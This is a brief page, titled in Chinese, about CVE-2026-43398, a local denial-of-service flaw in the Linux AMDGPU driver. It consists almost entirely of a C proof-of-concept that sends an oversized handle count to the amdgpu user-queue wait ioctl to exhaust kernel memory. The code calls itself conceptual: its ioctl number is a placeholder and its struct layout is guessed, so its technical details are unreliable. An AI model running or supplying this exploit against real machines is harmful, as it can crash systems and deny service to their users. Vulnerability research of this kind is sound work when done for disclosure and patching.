CVE-2026-43398 Linux内核AMDGPU驱动本地拒绝服务漏洞

/* * Conceptual PoC for CVE-2026-43398 * Triggering OOM in amdgpu_userq_wait_ioctl */ #include <stdio.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <stdlib.h> #include <stdint.h> // Placeholder for the actual IOCTL definition #define DRM_IOCTL_AMDGPU_USERQ_WAIT 0x40 // Example value struct amdgpu_userq_wait_args { uint32_t handle_count; uint64_t handles_ptr; }; int main() { // Open the AMDGPU device (path may vary) int fd = open("/dev/dri/renderD128", O_RDWR); if (fd < 0) { perror("Failed to open device"); return -1; } struct amdgpu_userq_wait_args args; // Exploit: Set a huge value to trigger OOM args.handle_count = 0xFFFFFFFF; args.handles_ptr = 0; printf("[+] Sending malicious payload to trigger OOM...\n"); int ret = ioctl(fd, DRM_IOCTL_AMDGPU_USERQ_WAIT, &args); if (ret < 0) { perror("[+] IOCTL failed (OOM likely triggered)"); } else { printf("[-] IOCTL succeeded unexpectedly\n"); } close(fd); return 0; }